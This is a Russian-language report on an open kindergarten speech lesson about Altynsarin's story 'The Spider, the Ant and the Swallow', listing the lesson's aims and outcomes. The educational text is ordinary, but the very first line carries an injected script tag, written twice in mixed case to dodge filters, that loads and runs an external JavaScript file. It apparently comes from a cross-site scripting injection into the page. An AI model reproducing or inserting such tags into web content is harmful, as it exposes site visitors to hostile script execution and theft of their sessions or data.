<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

25.04.2018

Дата: 19.04.2018 г.

Возрастная группа:  старшая группа № 9.

Количество детей: 17

Воспитатель: Кусаинова С.С.

Тема мероприятия: Открытое   занятие   по   развитию   речи  на   тему «Чтение  рассказа   Ы.Алтынсарина  «Паук, 

муравей  и  ласточка».

Содержание: В рамках программы «Рухани жаңғыру» на 2017-2018 уч.год  познакомить детей с произведением казахского писателя. Познакомить с творчеством И. Алтынсарина. Помочь детям глубинно осмыслить замысел автора о необходимости трудиться как насекомым, птицам, так и человеку. Закреплять знакомые слова на русском, казахском и английском языках. Формировать интерес к пословицам, учить понимать смысл пословиц о труде.

Упражнять в составлении простых двух, трёхсловных предложений. Развивать фонематический слух, развитие и

совершенствование навыков правильного произношения звуков, умение различать на слух согласные звуки  ч-ц. Обучение умению пользоваться обобщающими словами, называнию предметов, относящихся к различным логическим группам, использование в речи слов-синонимов и антонимов, умение подбирать признаки к определенному предмету. Формирование правильного понимания и употребления необходимых слов, умения активно использовать их в своей речи, развитие интереса и внимания к слову. Развивать умение различать

предложения по интонации, употреблять их в речи. Воспитывать умение обобщать.

Результат: Произносят фамилию, имя автора рассказа, название рассказа, содержание рассказа, казахские слова и словосочетания по тексту рассказа, звуки Х, Ц, используют в речи слова-синонимы и антонимы, умеют подбирать признаки к определенному предмету. Имеют представление об образе жизни насекомых, птиц, представление о звуках. Отвечать на вопросы по содержанию рассказа, рассуждать, делятся впечатлениями, полученными от рассказа, дают оценку поведению героев рассказа, умеют выразить своё отношение к труду, отношение к труду своих близких, находят звуки в словах, проводят звуковой анализ слова с помощью рисунков и фишек, составляют предложения.